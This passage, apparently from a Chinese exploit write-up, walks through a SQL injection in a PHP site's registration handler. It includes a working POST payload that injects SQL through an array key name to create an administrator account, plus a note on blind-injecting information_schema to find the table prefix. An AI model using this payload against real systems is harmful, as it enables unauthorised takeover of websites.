0, -2); $values = substr($values, 0, -2); // Append the fields and their values to the insert query. return 'INSERT INTO '.$tableName.' ( '.$fields.' ) VALUES ( '.$values.' )'; } ``` 代码太长,我就不慢慢分析了。 这个函数的主要功能就是匹配出先前那个select语句中的各个字段以及表名。然后对数据库中该表做一个插入操作。 为了更直观表示,我将语句都打印出来。 我们直接来插入一条管理员数据,把自己的账号提成管理员吧。 post提交 ``` formhash=db91c900f7efb4a8®ister=1&typename=1&data[member][username]=123dba&data[member][userpass]=11&data[member][email]=1231aad&data[memberfield][member_id,level,last_name%20from%20pb_wwd_adminfields%23]=1&data[memberfield][level]=0&data[memberfield][status]=1&data[memberfield][last_name]=test ``` 成功添加了一条管理员记录。 账号是123dba密码是11 ps: 因为表前缀是默认随机生成的,所以必须先通过盲注information这个数据库中的tables表,拿到表前缀,而后才能拿到管理员权限。 不对对于拥有注入来说,不都是洒洒水么